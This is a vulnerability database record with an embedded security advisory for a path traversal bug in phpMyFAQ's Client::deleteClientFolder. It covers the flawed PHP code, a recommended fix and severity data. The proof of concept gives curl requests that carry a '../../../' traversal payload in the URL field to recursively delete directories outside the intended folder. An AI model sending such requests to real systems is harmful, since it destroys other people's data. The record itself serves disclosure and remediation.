{"id":"CVE-2026-45008","aliases":["CVE-2026-45008","GHSA-gh9p-q46p-57g2"],"related":[],"kind":"vulnerability","state":"published","title":"phpMyFAQ - Path Traversal in Client::deleteClientFolder via URL Parameter","summary":"phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`Client::deleteClientFolder()` in `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583` takes a URL from the caller, strips the `https://` prefix, and passes the remainder to `Filesystem::deleteDirectory()` relative to the multisite `clientFolder`. No path-traversal validation runs. An admin with the `INSTANCE_DELETE` permission (a role short of SUPER_ADMIN) submits `https://../../../<path>` as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591`:\n\n```php\npublic function deleteClientFolder(string $sourceUrl): bool\n{\n    if (!$this->isMultiSiteWriteable()) {\n        return false;\n    }\n\n    $sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl);\n    return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath);\n}\n```\n\n`str_replace` strips the scheme but does nothing about `../` segments. The concatenation `$this->clientFolder . $sourcePath` directly feeds the filesystem call, which traverses above `clientFolder` without complaint.\n\nCallers feed the URL from the HTTP request body:\n\n`phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184`:\n\n```php\nif (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {\n```\n\n`$clientData->url` comes from `json_decode($request->getContent())`. The route is `admin.api.instance.delete`, gated by `INSTANCE_DELETE`. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to `deleteClientFolder()`.\n\n`InstanceController.php:144` (edit path) and `Controller/Administration/InstanceController.php:151` (form path) both reach the same sink through different entry points.\n\n### Precedent\n\nGHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in `MediaBrowserController::index()`: an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.\n\n## Proof of Concept\n\nPrerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with `INSTANCE_ADD` and `INSTANCE_DELETE` rights, no `SUPER_ADMIN` flag.\n\nStep 1: Alice authenticates and retrieves the CSRF token for the instance admin page.\n\nStep 2: Alice creates an instance whose `url` encodes a traversal payload. The create path at `InstanceController.php:144` already concatenates to the clientFolder through the same `deleteClientFolder(`'https://' . $hostname`)` call:\n\n```bash\ncurl -sS -b \"$ALICE_COOKIE\" -X POST \"$BASE/admin/api/instance\" \\\n  -H \"Content-Type: application/json\" -H \"x-csrf-token: $CSRF\" \\\n  -d '{\"url\":\"https://../../../tmp/pmf-poc/\",\"instance\":\"poc\",\"comment\":\"poc\",\"email\":\"a@b\",\"admin\":\"alice\",\"password\":\"poc1234!\"}'\n```\n\nStep 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands `clientData->url` directly to `deleteClientFolder`:\n\n```bash\ncurl -sS -b \"$ALICE_COOKIE\" -X POST \"$BASE/admin/api/instance/2\" \\\n  -H \"Content-Type: application/json\" -H \"x-csrf-token: $CSRF\" \\\n  -d '{\"url\":\"https://../../../tmp/pmf-poc/\"}'\n```\n\nThe server computes `$sourcePath = '../../../tmp/pmf-poc/'`, concatenates to `<clientFolder>/`, and recursively deletes the resulting path.\n\nLive verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see `InstanceController.php:184`. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.\n\n## Impact\n\nAny phpMyFAQ admin holding `INSTANCE_ADD` + `INSTANCE_DELETE` but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:\n\n- Destroy other tenants' data on a shared multisite deployment by traversing above the `clientFolder` into peer directories.\n- Delete phpMyFAQ's own `content/`, `config/`, or cache directories and lock the install out.\n- On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.\n\nphpMyFAQ's permission model gives `INSTANCE_ADD` / `INSTANCE_DELETE` as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.\n\n## Recommended Fix\n\nCanonicalize and validate the URL before forming the filesystem path.\n\n`phpmyfaq/src/phpMyFAQ/Instance/Client.php:583`:\n\n```php\npublic function deleteClientFolder(string $sourceUrl): bool\n{\n    if (!$this->isMultiSiteWriteable()) {\n        return false;\n    }\n\n    $parsed = parse_url($sourceUrl);\n    if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') {\n        return false;\n    }\n\n    $host = $parsed['host'];\n    if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) {\n        return false;\n    }\n\n    $target = realpath($this->clientFolder . $host);\n    $root = realpath($this->clientFolder);\n    if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) {\n        return false;\n    }\n\n    return $this->filesystem->deleteDirectory($target);\n}\n```\n\n`parse_url` rejects malformed inputs, the regex pins the host to valid DNS characters (no `/`, no `..`), and the `realpath` check ensures the resolved target lives under `clientFolder`. Apply the same canonicalization at the controller layer (`InstanceController::add`, `::update`, `::delete`) so the URL is validated before every call that touches the filesystem.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","format":"markdown","source":"ghsa"},{"lang":"es","text":"phpMyFAQ anterior a la versión 4.1.2 contiene una vulnerabilidad de salto de ruta en Client::deleteClientFolder que permite a administradores con permiso INSTANCE_DELETE eliminar directorios arbitrarios. Los atacantes pueden enviar secuencias de salto como https://.. / .. / .. / [path] en el parámetro URL del cliente para eliminar recursivamente directorios fuera del ámbito previsto de clientFolder.","source":"nvd"}],"published":"2026-05-06T20:47:54.000Z","modified":"2026-11-08T14:03:34.228Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","score":7,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","score":7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-73"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"4.1.2","status":"affected"},{"type":"semver","version":"4.1.2","status":"unaffected"}],"vendor":"thorsten","product":"phpmyfaq","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.2"}],"ecosystem":"Packagist","package":"thorsten/phpmyfaq","purl":"pkg:composer/thorsten/phpmyfaq","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.2"}],"ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","purl":"pkg:composer/phpmyfaq/phpmyfaq","source":"ghsa"}],"references":[{"url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gh9p-q46p-57g2","tags":["vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/phpmyfaq-path-traversal-in-client-deleteclientfolder-via-url-parameter","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45008","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/thorsten/phpMyFAQ","tags":["package"],"sources":["ghsa"]}],"credits":["adrgs","aisafe-bot"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-18T16:05:19.208Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45008","url":"https://www.cve.org/CVERecord?id=CVE-2026-45008","licence":"CVE Terms of Use","modified":"2026-11-08T14:03:34.228Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gh9p-q46p-57g2","url":"https://github.com/advisories/GHSA-gh9p-q46p-57g2","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:05.748Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45008","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:21.832Z","epss":{"score":0.00266,"percentile":0.20035,"date":"2026-12-01T12:00:22.000Z"}}